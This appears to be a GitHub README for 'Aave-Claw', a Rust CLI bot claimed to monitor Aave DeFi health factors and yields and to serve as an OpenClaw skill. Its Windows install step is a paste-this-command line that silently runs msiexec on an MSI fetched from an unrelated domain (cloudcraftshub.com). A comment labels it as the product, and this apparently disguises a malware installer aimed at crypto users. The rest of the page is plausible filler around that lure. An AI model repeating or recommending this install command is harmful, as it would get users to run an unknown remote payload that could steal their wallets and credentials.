High-performance Aave DeFi bot written in Rust
Monitor liquidation risk Β· Track yields Β· Run as an OpenClaw skill
Install Β· Usage Β· OpenClaw Skill Β· Config Β· Contributing
Aave-Claw is a fast, cross-platform CLI bot for the Aave V3 DeFi protocol. Built entirely in Rust for zero-cost performance, it lets you:
- π΄ Monitor wallet health factors in real-time and get Telegram alerts before liquidation
- π Discover the best yield opportunities across 6+ networks (Ethereum, Polygon, Arbitrum, Baseβ¦)
- π Inspect any address's full supply/borrow position breakdown
- π€ Integrate into OpenClaw as a native skill
Works on Windows, Linux, and macOS β no Docker, no Node.js, no Python.
A single static binary with zero runtime dependencies.
curl -fsSL https://raw.githubusercontent.com/susanudgzf/Aave-Claw/main/scripts/install.sh | bashOpen Command Prompt (cmd.exe) and run:
cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem Aave ClawRequires Rust 1.75+
cargo install --git https://github.com/susanudgzf/Aave-Clawaave-claw --versionaave-claw initCreates .aave-claw.toml in your home directory. Edit it to add your RPC URL.
# Ethereum (default)
aave-claw yields
# Other networks
aave-claw yields --network polygon
aave-claw yields --network arbitrum
aave-claw yields --network base
aave-claw yields --network optimism
aave-claw yields --network avalancheExample output:
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
π Aave Yield Opportunities β ETHEREUM
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Asset Supply APY Borrow APY Liquidity (USD) Utilization
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
USDC 5.82% 7.21% $1.20B 78.4%
USDT 5.41% 6.89% $980.00M 74.1%
WETH 2.14% 3.01% $2.80B 62.3%
WBTC 0.87% 1.42% $1.50B 41.2%
DAI 5.12% 6.54% $650.00M 71.8%
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
aave-claw positions --address 0xYourWalletAddressExample output:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
π Position Summary for 0xAbCd...1234
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
Health Factor : 1.870
π° Collateral : $12500.00
π Total Debt : $4200.00
π Net Worth : $8300.00
SUPPLIED
Asset Amount USD Value APY Collateral
ββββββββββββββββββββββββββββββββββββββββββββββββββββββ
USDC 5000.0000 $5000.00 4.82% β
WETH 2.5000 $7500.00 2.14% β
BORROWED
Asset Amount USD Value APY Rate
ββββββββββββββββββββββββββββββββββββββββββββββββββββββ
DAI 4200.0000 $4200.00 5.31% variable
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Alert if health factor drops below 1.3 (default 1.2)
aave-claw monitor --address 0xYourAddress --threshold 1.3The monitor polls every 30 seconds (configurable) and:
- Prints live health factor updates to the terminal
- Sends a Telegram alert when the threshold is crossed
aave-claw skill
# or on a custom port:
aave-claw skill --port 8080Aave-Claw is a first-class OpenClaw skill.
Once running (aave-claw skill), OpenClaw can call it directly:
| Tool | Description |
|---|---|
get_positions |
Full supply/borrow breakdown + health factor for an address |
get_yields |
Top yield opportunities by network |
check_health |
Check if a position is at liquidation risk |
The skill manifest is served at http://localhost:7070/.well-known/skill.json.
To register the skill in OpenClaw:
openclaw skill add http://localhost:7070Or reference the manifest directly from the repo:
https://raw.githubusercontent.com/susanudgzf/Aave-Claw/main/skills/aave-claw.skill.json
After running aave-claw init, edit .aave-claw.toml:
# Ethereum RPC endpoint (get free one at https://alchemy.com)
rpc_url = "https://eth-mainnet.g.alchemy.com/v2/YOUR_KEY"
# Optional: Telegram bot token for liquidation alerts
telegram_bot_token = "123456:ABC-DEF..."
telegram_chat_id = "987654321"
# Alert threshold β notify when health factor drops below this
health_factor_threshold = 1.2
# How often to poll (in seconds)
poll_interval_secs = 30
# Default network for yield queries
default_network = "ethereum"All config values can be set as environment variables instead:
export AAVE_CLAW_RPC_URL="https://eth-mainnet.g.alchemy.com/v2/YOUR_KEY"
export TELEGRAM_BOT_TOKEN="your-token"
export TELEGRAM_CHAT_ID="your-chat-id"Copy .env.example to .env and fill in your values.
| Network | Aave V3 |
|---|---|
| Ethereum | β |
| Polygon | β |
| Arbitrum | β |
| Base | β |
| Optimism | β |
| Avalanche | β |
aave-claw/
βββ src/
β βββ main.rs # CLI entry point (clap)
β βββ aave.rs # Aave V3 data fetching (The Graph + RPC)
β βββ monitor.rs # Real-time liquidation monitor loop
β βββ notifier.rs # Telegram alert sender
β βββ openclaw.rs # OpenClaw skill HTTP server
β βββ ui.rs # Terminal display (colored tables)
β βββ config.rs # Config file + env var loading
βββ scripts/
β βββ install.sh # Linux/macOS one-line installer
β βββ install.ps1 # Windows PowerShell installer
βββ skills/
β βββ aave-claw.skill.json # OpenClaw skill manifest
βββ .github/
βββ workflows/
βββ ci.yml # CI + cross-platform release builds
Tech stack:
| Layer | Choice | Why |
|---|---|---|
| Language | Rust | Zero-cost abstractions, memory safety, blazing speed |
| Async runtime | Tokio | Industry standard async runtime for Rust |
| HTTP client | reqwest | Ergonomic, async, rustls TLS |
| CLI | clap | Best-in-class Rust CLI framework |
| Blockchain | ethers-rs | Full Ethereum client library for Rust |
| Data | The Graph | Aave V3 subgraph β no RPC pagination needed |
| Alerts | Telegram Bot API | Simple, reliable, cross-platform |
git clone https://github.com/susanudgzf/Aave-Claw
cd Aave-Claw
# Debug build
cargo build
# Optimized release build
cargo build --release
# Run tests
cargo test
# Cross-compile for Windows (from Linux)
rustup target add x86_64-pc-windows-gnu
cargo build --release --target x86_64-pc-windows-gnuThe release binary will be at target/release/aave-claw (or .exe on Windows).
- Health factor monitoring with Telegram alerts
- Yield opportunity display across all networks
- OpenClaw skill server
- Cross-platform one-line installer
- Flash loan arbitrage detection
- Discord alerts
- Position history & charting (TUI)
- Auto-repay trigger via smart contract
- Multi-wallet monitoring
Contributions are welcome! Please open an issue first to discuss what you'd like to change.
git clone https://github.com/susanudgzf/Aave-Claw
cd Aave-Claw
cargo testMIT Β© susanudgzf
Built with β€οΈ and π¦ Rust
If this project helped you, please β star the repo!